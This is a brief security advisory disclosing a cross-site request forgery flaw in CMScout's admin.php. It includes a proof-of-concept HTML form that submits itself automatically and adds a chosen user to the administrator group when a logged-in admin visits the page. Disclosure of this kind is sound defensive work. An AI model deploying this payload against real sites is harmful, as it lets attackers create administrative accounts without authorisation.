Cross-site Request Forgery (CSRF) in CMScout

High-Tech Bridge SA Security Research Lab has discovered vulnerability in CMScout which could be exploited to perform cross-site request forgery attacks.

1) Cross-site Request Forgery (CSRF) in CMScout
The vulnerability exists due to insufficient validation of the request origin in admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create new accounts with administrative privileges.
Exploitation example:
<form action="http://host/admin.php?page=users&subpage=usergroups&subpage=usergrou ps&action=add&uid=USER_ID" method="post" name="main" >
<input type="hidden" name="gid" value="1">
<input type="hidden" name="utype" value="2">
<input type="hidden" name="action" value="Add">
</form>
<script>
document.main.submit();
</script>